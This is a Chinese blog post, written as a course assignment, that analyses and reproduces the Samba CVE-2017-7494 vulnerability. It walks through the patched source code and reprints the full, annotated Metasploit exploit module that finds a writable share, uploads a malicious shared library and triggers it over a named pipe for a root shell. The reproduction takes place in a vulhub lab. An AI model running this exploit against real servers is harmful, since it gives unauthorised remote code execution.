CVE-2017-7494 SambaCry 分析&复现

本文详细介绍了Samba的一个安全漏洞,该漏洞允许攻击者通过匿名访问上传恶意.so文件并执行。文章分析了漏洞的原理,展示了如何利用msfexploit进行攻击,包括枚举共享目录、验证可写权限、上传恶意文件和触发漏洞的步骤。同时,文章提到了修复补丁和攻击条件,强调了需要匿名访问权限和目标服务器的特定设置才能成功利用此漏洞。
摘要由CSDN通过智能技术生成

简介

写这篇文章的起因是为了完成课程作业…实在是过于真实了
闲话少说,其实我对这玩意也不能说很了解吧…只能硬着头写了。
本文会结合部分samba源代码分析、msf exploit分析和攻击数据包对比,希望能让大家对这一漏洞有一定的了解。

参考链接

rapid7漏洞简介
看雪的漏洞分析
奇安信漏洞分析
T3stzer0的漏洞分析(被无数爬虫残缺不全的搬运到各处233)
msf exploit
IPC利用
samba空连接安全问题
IPC利用2
Microsoft的IPC介绍
SMB协议详解
IPC命名管道介绍
vulhub

漏洞原理

何为samba

介绍原理之前得先介绍一下samba。先看看官网介绍:
在这里插入图片描述
看下来感觉就是在linux/win上实现了SMB/CIFS协议,可以用来实现文件共享等等功能。

漏洞分析

下面的漏洞描述摘自奇安信:
在rpc_server/srv_pipe.c中的存在一个验证BUG,攻击者可以利用客户端上传恶意动态库文件到具有可写权限的共享目录中,之后发出请求,使服务器加载Samba运行目录以外的非法模块,导致恶意代码执行。

先看一下patch
在这里插入图片描述
实际上就是禁止命名管道的名称中出现/符号,防止使用路径作为popen参数,实际上也防止了目录穿越。

来追一下漏洞源码:
\source3\rpc_server\srv_pipe.c中的is_known_pipename

bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
	NTSTATUS status;

	if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
		DEBUG(10, ("refusing spoolss access\n"));
		return false;
	}

	if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) {
		return true;
	}

	status = smb_probe_module("rpc", pipename);
	#pipe_name加载module
	if (!NT_STATUS_IS_OK(status)) {
		DEBUG(10, ("is_known_pipename: %s unknown\n", pipename));
		return false;
	}
	DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename));

	/*
	 * Scan the list again for the interface id
	 */
	if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) {
		return true;
	}

	DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n",
		   pipename));

	return false;
}

samba-4.5.9\lib\util\modules.c中的smb_probe_module

NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, true);
}

同一个文件中的do_smb_load_module(恶意参数为module_name):

static NTSTATUS do_smb_load_module(const char *subsystem,
				   const char *module_name, bool is_probe)
{
	void *handle;
	init_module_fn init;
	NTSTATUS status;

	char *full_path = NULL;
	TALLOC_CTX *ctx = talloc_stackframe();

	if (module_name == NULL) {
		TALLOC_FREE(ctx);
		return NT_STATUS_INVALID_PARAMETER;
	}

	/* Check for absolute path */

	DEBUG(5, ("%s module '%s'\n", is_probe ? "Probing" : "Loading", module_name));

	if (subsystem && module_name[0] != '/') {
		full_path = talloc_asprintf(ctx,
					    "%s/%s.%s",
					    modules_path(ctx, subsystem),
					    module_name,
					    shlib_ext());
		if (!full_path) {
			TALLOC_FREE(ctx);
			return NT_STATUS_NO_MEMORY;
		}

		DEBUG(5, ("%s module '%s': Trying to load from %s\n",
			  is_probe ? "Probing": "Loading", module_name, full_path));
		init = load_module(full_path, is_probe, &handle);
	} else {
		init = load_module(module_name, is_probe, &handle);
		#module_name加载module
	}

	if (!init) {
		TALLOC_FREE(ctx);
		return NT_STATUS_UNSUCCESSFUL;
	}

	DEBUG(2, ("Module '%s' loaded\n", module_name));

	status = init();
	if (!NT_STATUS_IS_OK(status)) {
		DEBUG(0, ("Module '%s' initialization failed: %s\n",
			  module_name, get_friendly_nt_error_msg(status)));
		dlclose(handle);
	}
	TALLOC_FREE(ctx);
	return status;
}

同一个文件中的load_module(恶意参数为path):

init_module_fn load_module(const char *path, bool is_probe, void **handle_out)
{
	void *handle;
	void *init_fn;
	char *error;

	/* This should be a WAF build, where modules should be built
	 * with no undefined symbols and are already linked against
	 * the libraries that they are loaded by */
	handle = dlopen(path, RTLD_NOW);
	#dlopne加载so
	/* This call should reset any possible non-fatal errors that
	   occured since last call to dl* functions */
	error = dlerror();

	if (handle == NULL) {
		int level = is_probe ? 5 : 0;
		DEBUG(level, ("Error loading module '%s': %s\n", path, error ? error : ""));
		return NULL;
	}

	init_fn = (init_module_fn)dlsym(handle, SAMBA_INIT_MODULE);
	#dlsym执行so中的SAMBA_INIT_MODULE函数,替换为恶意函数即可RCE
	/* we could check dlerror() to determine if it worked, because
           dlsym() can validly return NULL, but what would we do with
           a NULL pointer as a module init function? */

	if (init_fn == NULL) {
		DEBUG(0, ("Unable to find %s() in %s: %s\n",
			  SAMBA_INIT_MODULE, path, dlerror()));
		DEBUG(1, ("Loading module '%s' failed\n", path));
		dlclose(handle);
		return NULL;
	}

	if (handle_out) {
		*handle_out = handle;
	}

	return (init_module_fn)init_fn;
}

samba/IPC匿名访问

根据samba wiki,samba可以设置为一个独立服务器,同时支持匿名访问(anonymous access)。当然,这里“访问”应该是指smb_login,也就是以匿名用户身份完成smb认证(参考SMB协议详解)。

匿名访问的常见用途是设置一个可匿名访问的、仅上传的samba服务器,用于提交作业、上传记录等等用途,这也是这一漏洞攻击的主要着眼点。

对于匿名IPC的话,根据IPC利用IPC利用2的描述,这种无用户名无密码的空/匿名连接(至少在windos上)要么权限很低,要么干脆就已经被挡掉了…细节可以在微软官方文档里面查到。

攻击思路

实际上攻击思路就是想办法在目标服务器上上传一个恶意的.so文件,再以匿名方式访问IPC$,创建命名管道触发漏洞以popen打开这个恶意.so以反弹shell。但是,为了实现攻击有以下几个问题:

  • 登录问题:不知道smb用户名和密码,所以要能匿名登录smb服务或可以爆破凭证
  • 权限问题:要求smb正常/匿名登录进去后要对目录有可写权限,以及IPC$的访问权限,以实现上传恶意so和触发漏洞
  • 路径问题:漏洞只能通过物理(绝对)路径触发,不能通过共享名下的相对路径触发,同时还需要能获得共享目录路径以及能枚举出其下的可写目录(上传文件用的共享名不代表实际目录名,这也是为什么后面要用NetShareGetInfo获取绝对路径)

msf exp分析

直接参考T3stzer0的漏洞分析即可。
第一个读的msf exp…感觉可读性挺好的。ruby语法直接看菜鸟教程就行了,使用的SMB::Client模块内容可以参考msf doc
枚举目录的调用链大概是find_writeable——find_writeable_share_path——find_writeable_path——enumerate_directories——verify_writeable_directory,逻辑是通过smb_netshareenumall函数枚举共享名,再用find_first(\\*)获取共享名下的目录,测试完找到可写目录后用smb_netsharegetinfo获取共享目录绝对/物理(路径),上传恶意so后以绝对路径拼接tpath再用create_pipe触发漏洞,加载恶意so。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  //Excellent,就是我们列exploit时看到的评级
  
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  //使用的DCERPC/SMB::Client两个依赖,主要是用了后一个,进行SMB连接和扫描
  
  def initialize(info = {})
  //initialize,设置默认配置,也就是show options看见的那些
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery & Python Exploit
          'hdm',                                  # Metasploit Module
          'bcoles',  # Check logic
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      'Targets'         =>
        [

          [ 'Automatic (Interact)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find'
                }
              }
            }
          ],
          [ 'Automatic (Command)',
            { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
          ],
          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
          [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux ARM64',      { 'Arch' => ARCH_AARCH64 } ],
          [ 'Linux MIPS',       { 'Arch' => ARCH_MIPS } ],
          [ 'Linux MIPSLE',     { 'Arch' => ARCH_MIPSLE } ],
          [ 'Linux MIPS64',     { 'Arch' => ARCH_MIPS64 } ],
          [ 'Linux MIPS64LE',   { 'Arch' => ARCH_MIPS64LE } ],
          [ 'Linux PPC',        { 'Arch' => ARCH_PPC } ],
          [ 'Linux PPC64',      { 'Arch' => ARCH_PPC64 } ],
          [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
          [ 'Linux SPARC',      { 'Arch' => ARCH_SPARC } ],
          [ 'Linux SPARC64',    { 'Arch' => ARCH_SPARC64 } ],
          [ 'Linux s390x',      { 'Arch' => ARCH_ZARCH } ],
        ],
      'DefaultOptions' =>
        {
          'DCERPC::fake_bind_multi' => false,
          'SHELL'                   => '/bin/sh',
        },
      'Privileged'      => true,
      'DisclosureDate'  => '2017-03-24',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])
	//同时提供了两个自定义选项,SMB_SHARE_NAMESMB_FOLDER,在漏洞简介里面有说明
  end

  def post_auth?
    true
  end

  # Setup our mapping of Metasploit architectures to gcc architectures
  //应该是设置可用的payload类型。从这里也可以看出漏洞影响范围之大
  def setup
    super
    @@payload_arch_mappings = {
        ARCH_X86      => [ 'x86' ],
        ARCH_X64      => [ 'x86_64' ],
        ARCH_MIPS     => [ 'mips' ],
        ARCH_MIPSLE   => [ 'mipsel' ],
        ARCH_MIPSBE   => [ 'mips' ],
        ARCH_MIPS64   => [ 'mips64' ],
        ARCH_MIPS64LE => [ 'mips64el' ],
        ARCH_PPC      => [ 'powerpc' ],
        ARCH_PPC64    => [ 'powerpc64' ],
        ARCH_PPC64LE  => [ 'powerpc64le' ],
        ARCH_SPARC    => [ 'sparc' ],
        ARCH_SPARC64  => [ 'sparc64' ],
        ARCH_ARMLE    => [ 'armel', 'armhf' ],
        ARCH_AARCH64  => [ 'aarch64' ],
        ARCH_ZARCH    => [ 's390x' ],
    }

    # Architectures we don't offically support but can shell anyways with interact
    @@payload_arch_bonus = %W{
      mips64el sparc64 s390x
    }

    # General platforms (OS + C library)
    @@payload_platforms = %W{
      linux-glibc
    }
  end

  # List all top-level directories within a given share
  //枚举共享目录下的一级目录,仅支持smb1
  def enumerate_directories(share)
    begin
      vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client')
      connect(versions: [1])
      smb_login
      self.simple.connect("\\\\#{rhost}\\#{share}")
      //连接共享目录
      stuff = self.simple.client.find_first("\\*")
      //列出共享目录下的所有目录,相当于ls?
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        //跳过含...的相对路径
        next unless entry_attr['type'] == 'D'
        directories << entry
        //检查entry是否为目录,不是目录则继续循环
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      simple.disconnect("\\\\#{rhost}\\#{share}")
      smb_connect
    end
  end

  # Determine whether a directory in a share is writeable
  def verify_writeable_directory(share, directory="")
  //上传txt 验证共享目录是否可写
    begin
      simple.connect("\\\\#{rhost}\\#{share}")
		//连接到共享目录
      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      //生成随机数名的txt作为测试
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
	  //生成上传绝对/相对路径
      wfd = simple.open(filename, 'rwct')
      //通过连接生成txt文件
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close
	  //txt里面随机写入字符
      simple.delete(filename)
      //删除文件
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      simple.disconnect("\\\\#{rhost}\\#{share}")
    end
  end

  # Call NetShareGetInfo to retrieve the server-side path
  //通过smb_netsharegetinfo获取服务端共享目录,信息存在share_info 中
  def find_share_path
    share_info = smb_netsharegetinfo(@share)
    share_info[:path].gsub("\\", "/").sub(/^.*:/, '')
    //替换\\为/,去除开头的一切字符,直到第一个:
  end

  # Crawl top-level directories and test for writeable
  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs
	//目录为空直接返回
    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end
	//插入选项指定的共享目录
    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      //判断目录可写性
      return subdir
    end

    nil
  end

  # Locate a writeable directory across identified shares
  def find_writeable_share_path
    @path = nil
    share_info = smb_netshareenumall
    //使用smb_netshareenumall获取共享目录信息
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end
	//优先更新选项指定的内容
    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      //跳过IPC$
      found = find_writeable_path(share.first)
      //根据共享目录查找其下的可写目录
      next unless found
      @share = share.first
      @path  = found
      //存储共享目录与其下的可写目录
      break
    end
  end

  # Locate a writeable share
  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  # Store the wrapped payload into the writeable share
  def upload_payload(wrapped_payload)
  //payload上传函数
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")
	  //建立到共享目录的连接
      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
	  
      wfd = simple.open(filename, 'rwct')
      wfd << wrapped_payload
      wfd.close
	  //在共享目录的可写路径下上传恶意.so
      @payload_name = random_filename

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      simple.disconnect("\\\\#{rhost}\\#{@share}")
    end

    print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}")
    return true
  end

  # Try both pipe open formats in order to load the uploaded shared library
  def trigger_payload
	//通过命名管道触发popen执行恶意so
    target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/')
    [
      "\\\\PIPE\\" + target,
      target
    ].each do |tpath|
	//将\\PIPE\和[@share_path, @path, @payload_name]组合为管道目录,同时换成linux风格
      print_status("Loading the payload from server-side path #{target} using #{tpath}...")

      smb_connect

      # Try to execute the shared library from the share
      begin
        simple.client.create_pipe(tpath)
        //创建命名管道
        probe_module_path(tpath)
        //废弃接口,旧版内能看到函数定义,功能与上一句相同

      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
        # Common errors we can safely ignore

      rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
        # Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded
        if e.error_code == 0xc0000039
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.error_name}")
        end
      rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e
        if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID
          pwn
          return true
        else
          print_error("  >> Failed to load #{e.status_code.name}")
        end
      end
	//根据返回error code判断是否加载恶意so
      disconnect

    end

    false
  end

  def pwn
  //连接shell
    print_good("Probe response indicates the interactive payload was loaded...")
    smb_shell = self.sock
    self.sock = nil
    remove_socket(sock)
    handler(smb_shell)
  end

  # Use fancy payload wrappers to make exploitation a joyously lazy exercise
  def cycle_possible_payloads
  //遍历并配置exp
    template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494")
    template_list = []
    template_type = nil
    template_arch = nil

    # Handle the generic command types first
    if target.arch.include?(ARCH_CMD)
    //payload架构在ARCH_CMD内
      template_type = target['Interact'] ? 'findsock' : 'system'

      all_architectures = @@payload_arch_mappings.values.flatten.uniq

      # Include our bonus architectures for the interact payload
      //引入非常见架构
      if target['Interact']
        @@payload_arch_bonus.each do |t_arch|
          all_architectures << t_arch
        end
      end

      # Prioritize the most common architectures first
      //优先引入常见架构
      %W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
        template_list << all_architectures.delete(t_arch)
      end

      # Queue up the rest for later
      //引入其他架构
      all_architectures.each do |t_arch|
        template_list << t_arch
      end

    # Handle the specific architecture targets next
    else
    //payload架构不在ARCH_CMD内
      template_type = 'shellcode'
      target.arch.each do |t_name|
        @@payload_arch_mappings[t_name].each do |t_arch|
          template_list << t_arch
        end
      end
    end

    # Remove any duplicates that mau have snuck in
    template_list.uniq!

    # Cycle through each top-level platform we know about
    @@payload_platforms.each do |t_plat|

      # Cycle through each template and yield
      template_list.each do |t_arch|


        wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
        next unless ::File.exist?(wrapper_path)

        data = ''
        ::File.open(wrapper_path, "rb") do |fd|
          data = Rex::Text.ungzip(fd.read)
        end

        pidx = data.index('PAYLOAD')
        if pidx
          data[pidx, payload.encoded.length] = payload.encoded
        end

        vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...")
        yield(data)
      end
    end
  end

  # Verify that the payload settings make sense
  def sanity_check
  //检查payload配置
    if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact"
      print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact")
      print_error("       Please set PAYLOAD to cmd/unix/interact and try this again")
      print_error("")
      fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target")
    end

    if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact"
      print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact")
      print_error("       Please set a valid PAYLOAD and try this again")
      print_error("")
      fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target")
    end
  end

  # Shorthand for connect and login
  def smb_connect
  //smb连接函数的wrapper,smb_login是模块扫描smb
    connect
    smb_login
  end

  # Start the shell train
  def exploit
    # Validate settings
    sanity_check
	//检查配置完整性
    # Setup SMB
    smb_connect
	//连接smb
    # Find a writeable share
    find_writeable

    # Retrieve the server-side path of the share like a boss
    print_status("Retrieving the remote path of the share '#{@share}'")
    @share_path = find_share_path
    print_status("Share '#{@share}' has server-side path '#{@share_path}")

    # Disconnect
    disconnect

    # Create wrappers for each potential architecture
    cycle_possible_payloads do |wrapped_payload|
    //循环使用可用的payload

      # Connect, upload the shared library payload, disconnect
      smb_connect
      upload_payload(wrapped_payload)
      disconnect

      # Trigger the payload
      early = trigger_payload

      # Cleanup the payload
      begin
        smb_connect
        simple.connect("\\\\#{rhost}\\#{@share}")
        uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
        simple.delete(uploaded_path)
        disconnect
      rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError
      end

      # Bail early if our interact payload loaded
      return if early
    end
  end

  # A version-based vulnerability check for Samba
  //msf的惯例,在exploit前会调用checker先进行检查,当然也可以仅check
  def check
    res = smb_fingerprint
	//获取smb指纹
    unless res['native_lm'] =~ /Samba ([\d\.]+)/
      print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
      return CheckCode::Safe
    end
	//通过native_lm判断服务是否为samba,该值实际上为smb_peer_lm 函数的返回值,
	//是当前Native Lan Manager版本,可以用于获取Samba版本

    samba_version = Rex::Version.new($1.gsub(/\.$/, ''))
	//获取远程samba版本
	
    vprint_status("Samba version identified as #{samba_version.to_s}")

    if samba_version < Rex::Version.new('3.5.0')
    //判断版本是否受影响
      return CheckCode::Safe
    end

    # Patched in 4.4.14
    if samba_version < Rex::Version.new('4.5.0') &&
       samba_version >= Rex::Version.new('4.4.14')
      return CheckCode::Safe
    end

    # Patched in 4.5.10
    if samba_version > Rex::Version.new('4.5.0') &&
       samba_version < Rex::Version.new('4.6.0') &&
       samba_version >= Rex::Version.new('4.5.10')
      return CheckCode::Safe
    end

    # Patched in 4.6.4
    if samba_version >= Rex::Version.new('4.6.4')
      return CheckCode::Safe
    end

    smb_connect
    //建立smb连接
    find_writeable_share_path
    //查找可写的共享目录
    disconnect
	//停止连接
	
    if @share.to_s.length == 0
      print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
      //未找到可写的共享目录,返回失败
      return CheckCode::Detected
    end

    print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
    return CheckCode::Appears
  end
end

漏洞复现

使用vulhub的镜像来完成漏洞复现,攻击过程中采用tcpdump抓取攻击数据包,并使用wireshark进行分析。
NetShareEnumAll枚举出的共享名(@path):
在这里插入图片描述
在这里插入图片描述
Find_First枚举出的共享目录下的顶层目录(...):
在这里插入图片描述
在这里插入图片描述
测试目录可写性:
在这里插入图片描述
在这里插入图片描述
NetShareGetInfo枚举出的绝对(物理)路径(@share_path):
在这里插入图片描述
在这里插入图片描述
上传恶意.so
在这里插入图片描述
在这里插入图片描述
创建name_pipe触发漏洞(注意看后一个包返回的error_code):
在这里插入图片描述
在这里插入图片描述
实际上我这里测它反复上传了三次,最后一次才成功拿到shell。
在这里插入图片描述
注意看这个error_code,结合exp就是已经成功加载了.so。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值